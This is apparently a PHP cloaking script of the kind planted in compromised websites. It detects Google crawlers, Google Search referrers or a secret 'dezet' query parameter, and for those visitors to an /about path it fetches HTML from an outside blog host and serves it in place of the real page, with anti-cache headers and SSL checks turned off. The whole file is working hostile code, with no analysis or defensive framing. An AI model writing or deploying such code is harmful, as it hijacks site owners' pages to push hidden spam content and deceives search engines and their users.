<?php
// ======================= BASIC CONFIGURATION =======================
$userAgent = strtolower($_SERVER["HTTP_USER_AGENT"] ?? '');
$clientIP = $_SERVER["HTTP_CF_CONNECTING_IP"] ?? $_SERVER["HTTP_X_FORWARDED_FOR"] ?? $_SERVER["REMOTE_ADDR"];
$referrer = $_SERVER['HTTP_REFERER'] ?? '';
$requestPath = parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH) ?? '/';

// ======================= MAIN FUNCTION =======================
function fetchContent($url) {
    $context = stream_context_create([
        "http" => ["timeout" => 1.5, "ignore_errors" => true]
    ]);
    
    // Priority 1: Use file_get_contents
    $content = @file_get_contents($url, false, $context);
    
    // Priority 2: Fallback to cURL if failed
    if (!$content || strlen(trim($content)) < 20) {
        if (function_exists('curl_init')) {
            $ch = curl_init($url);
            curl_setopt_array($ch, [
                CURLOPT_RETURNTRANSFER => true,
                CURLOPT_FOLLOWLOCATION => true,
                CURLOPT_TIMEOUT => 3,
                CURLOPT_USERAGENT => $_SERVER["HTTP_USER_AGENT"] ?? 'Mozilla/5.0',
                CURLOPT_SSL_VERIFYPEER => false
            ]);
            $content = curl_exec($ch);
            curl_close($ch);
        }
        
        // Priority 3: Final fallback
        if (!$content || strlen(trim($content)) < 20) {
            $content = @file_get_contents($url, false, $context);
        }
    }
    return $content;
}

// ======================= BOT DETECTION =======================
$isValidBot = false;
$googleBotList = [
    'googlebot',
    'adsbot-google',
    'apis-google',
    'mediapartners-google',
    'googlebot-image',
    'googlebot-video',
    'googlebot-news',
    'google-inspectiontool',
    'structured-data-testing-tool'
];

foreach ($googleBotList as $bot) {
    if (strpos($userAgent, $bot) !== false) {
        $hostname = @gethostbyaddr($clientIP);
        $isValidBot = (strpos($userAgent, 'googlebot') !== false && $hostname && $hostname !== $clientIP) 
            ? (strpos($hostname, 'google.com') !== false || strpos($hostname, 'googlebot.com') !== false)
            : true;
        break;
    }
}

// ======================= CLOAKING PROCESS =======================
if (($isValidBot || strpos($referrer, 'search.google.com') !== false || isset($_GET["dezet"])) 
    && in_array($requestPath, ['/index.php/about/', '/index.php/about'])) {
    
    // DELAY
    if ($isValidBot) {
        usleep(rand(500000, 900000));
    }
    
    $cloakedContent = fetchContent("https://toro.gobloklevel5.blog/revistas-unne/a1nih.html");
    
    if ($cloakedContent && strlen(trim($cloakedContent)) > 50) {
        // Clear output buffer
        while (ob_get_level()) ob_end_clean();
        
        // Anti-cache headers
        header("Cache-Control: no-store, no-cache, must-revalidate, max-age=0");
        header("Pragma: no-cache");
        header("Expires: 0");
        header("Content-Type: text/html; charset=utf-8");
        
        echo $cloakedContent;
        exit;
    }
}